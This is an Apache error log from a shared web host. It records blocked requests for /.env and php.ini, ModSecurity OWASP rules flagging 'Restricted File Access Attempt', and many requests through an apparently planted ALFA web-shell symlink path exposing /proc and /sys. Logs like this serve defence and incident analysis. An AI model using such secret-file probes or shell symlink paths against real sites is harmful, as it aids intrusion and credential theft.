[Mon Oct 26 21:36:00.560793 2026] [authz_core:error] [pid 3117428:tid 3117428] [client 170.64.200.143:33660] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:36:02.239278 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 54.83.56.1:55834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/module/uevent
[Mon Oct 26 21:36:14.179919 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.239.85.139:57090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:18.136726 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 184.73.195.18:42566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:22.211995 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.215.221.125:42542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:30.191329 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 100.28.44.58:58457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:34.143518 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.197.178.107:55624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:38.329077 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.232.102.111:38028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:42.245594 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.93.253.174:54665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:36:46.182682 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.231.77.232:11201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:37:06.820441 2026] [core:crit] [pid 3128624:tid 3128624] (13)Permission denied: [client 45.135.193.198:47912] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:37:06.996066 2026] [authz_core:error] [pid 3132187:tid 3132187] [client 45.135.193.198:47928] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:37:10.158701 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.215.77.19:60753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:37:13.558983 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.15:13724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/slabs
[Mon Oct 26 21:37:14.198336 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.81.253.213:27821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:37:15.806454 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.199:29528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/store_user
[Mon Oct 26 21:37:15.874850 2026] [core:crit] [pid 3122515:tid 3122515] (13)Permission denied: [client 45.135.193.198:60092] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:37:16.049132 2026] [authz_core:error] [pid 3130075:tid 3130075] [client 45.135.193.198:60098] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:37:38.233348 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.223.181.32:51462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:37:50.275671 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.204.81.148:47020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:38:02.147049 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.210.58.238:59911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:38:06.311068 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.205.192.249:30758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:38:14.203847 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 52.44.174.136:4581] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/pvpanic/bind
[Mon Oct 26 21:38:27.218948 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 85.208.96.208:40106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:38:32.310288 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 192.248.150.180:56242] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:38:34.177906 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 100.28.44.58:3434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:38:38.323906 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 35.172.125.172:2137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:39:02.284305 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.70.123.241:7728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/subsystem/drivers/ata_piix/0000:00:01.1/resource4
[Mon Oct 26 21:39:10.206928 2026] [ssl:error] [pid 3122515:tid 3122515] (5)Input/output error: [client 54.91.122.193:28656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:39:22.212847 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.239.197.197:34026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:39:24.003373 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.212:23728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/cpu_partial
[Mon Oct 26 21:39:31.590701 2026] [core:crit] [pid 3130075:tid 3130075] (13)Permission denied: [client 45.79.115.134:52064] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:39:38.136392 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.208.11.93:21465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:39:45.785662 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 172.234.217.192:15890] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:39:46.287066 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.207.47.227:35743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:02.233244 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 98.83.226.125:16457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:10.139232 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.166.104.83:4865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:18.257352 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.171:53528] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAjS1e-yu7xYT1dr9RAAAAAk"]
[Mon Oct 26 21:40:18.257608 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.171:53528] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAjS1e-yu7xYT1dr9RAAAAAk"]
[Mon Oct 26 21:40:18.257910 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.171:53528] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAjS1e-yu7xYT1dr9RAAAAAk"]
[Mon Oct 26 21:40:18.257959 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.171:53528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAjS1e-yu7xYT1dr9RAAAAAk"]
[Mon Oct 26 21:40:18.257981 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.171:53528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAjS1e-yu7xYT1dr9RAAAAAk"]
[Mon Oct 26 21:40:18.563068 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.176:26778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAi-AKBd00cmosRNIqAAAAAE"]
[Mon Oct 26 21:40:18.563366 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.176:26778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAi-AKBd00cmosRNIqAAAAAE"]
[Mon Oct 26 21:40:18.563721 2026] [security2:error] [pid 3128624:tid 3128624] [client 130.12.180.176:26778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABAi-AKBd00cmosRNIqAAAAAE"]
[Mon Oct 26 21:40:22.258440 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 18.214.238.178:17266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:26.302163 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 184.73.195.18:27549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:46.323380 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.197.76.210:48037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:40:50.342435 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.229.95.193:18339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:02.184598 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.232.11.247:40758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:22.132318 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.213.240.226:32011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:26.017178 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.175:39508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRv5ZEdGRoel0j8fgHgAAAAg"]
[Mon Oct 26 21:41:26.017445 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.175:39508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRv5ZEdGRoel0j8fgHgAAAAg"]
[Mon Oct 26 21:41:26.017786 2026] [security2:error] [pid 3117426:tid 3117426] [client 130.12.180.175:39508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRv5ZEdGRoel0j8fgHgAAAAg"]
[Mon Oct 26 21:41:26.183653 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.175:39510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRoU8RArHmY5bTmWwUQAAAAY"]
[Mon Oct 26 21:41:26.183908 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.175:39510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRoU8RArHmY5bTmWwUQAAAAY"]
[Mon Oct 26 21:41:26.184180 2026] [security2:error] [pid 3098114:tid 3098114] [client 130.12.180.175:39510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABRoU8RArHmY5bTmWwUQAAAAY"]
[Mon Oct 26 21:41:30.229950 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 18.208.11.93:8540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:46.144445 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.225.181.161:22532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:54.150609 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.63.147:34030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:55.956642 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.163:18280] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABY7Rvv9rueX6FuiOb5wAAAAM"]
[Mon Oct 26 21:41:55.956934 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.163:18280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABY7Rvv9rueX6FuiOb5wAAAAM"]
[Mon Oct 26 21:41:55.957193 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.163:18280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auABY7Rvv9rueX6FuiOb5wAAAAM"]
[Mon Oct 26 21:41:58.152587 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.205.74.196:24343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:41:58.740772 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 165.245.215.24:60342] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 21:41:59.163580 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 134.209.37.172:42956] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 21:42:02.253883 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 3.213.106.226:42260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/wakeup/wakeup3/subsystem/wakeup6/device/eject
[Mon Oct 26 21:42:18.143783 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 35.153.86.200:8167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/device/subsystem/drivers/ac/unbind
[Mon Oct 26 21:42:22.128225 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 54.145.82.217:29774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:01/subsystem/devices/device:04/physical_node/driver/uevent
[Mon Oct 26 21:42:38.163586 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.44.174.136:58649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:42:42.143542 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.200.142.199:44421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:42:46.150194 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 184.73.195.18:52620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:42:58.238715 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.0.63.151:55275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:43:10.143111 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.7.33.248:37492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/new_id
[Mon Oct 26 21:43:30.138503 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.222.85.38:12690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:43:34.140191 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 54.157.99.244:7557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/subsystem/drivers/ata_piix/bind
[Mon Oct 26 21:43:45.674565 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 185.191.171.13:63144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/mail/syncus
[Mon Oct 26 21:43:46.131093 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 54.90.8.255:46610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory19/node0/compact
[Mon Oct 26 21:43:47.067050 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.203:41328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/slab_size
[Mon Oct 26 21:43:54.303222 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.176:34946] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2rRvv9rueX6FuiOcPgAAAAM"]
[Mon Oct 26 21:43:54.303511 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.176:34946] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2rRvv9rueX6FuiOcPgAAAAM"]
[Mon Oct 26 21:43:54.303811 2026] [security2:error] [pid 3130075:tid 3130075] [client 130.12.180.176:34946] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2rRvv9rueX6FuiOcPgAAAAM"]
[Mon Oct 26 21:43:54.329763 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.206.47.187:43267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:43:54.519811 2026] [security2:error] [pid 3117428:tid 3117428] [client 130.12.180.170:28298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2iWN_iofYZIHyv49AQAAAAs"]
[Mon Oct 26 21:43:54.520109 2026] [security2:error] [pid 3117428:tid 3117428] [client 130.12.180.170:28298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2iWN_iofYZIHyv49AQAAAAs"]
[Mon Oct 26 21:43:54.520389 2026] [security2:error] [pid 3117428:tid 3117428] [client 130.12.180.170:28298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAB2iWN_iofYZIHyv49AQAAAAs"]
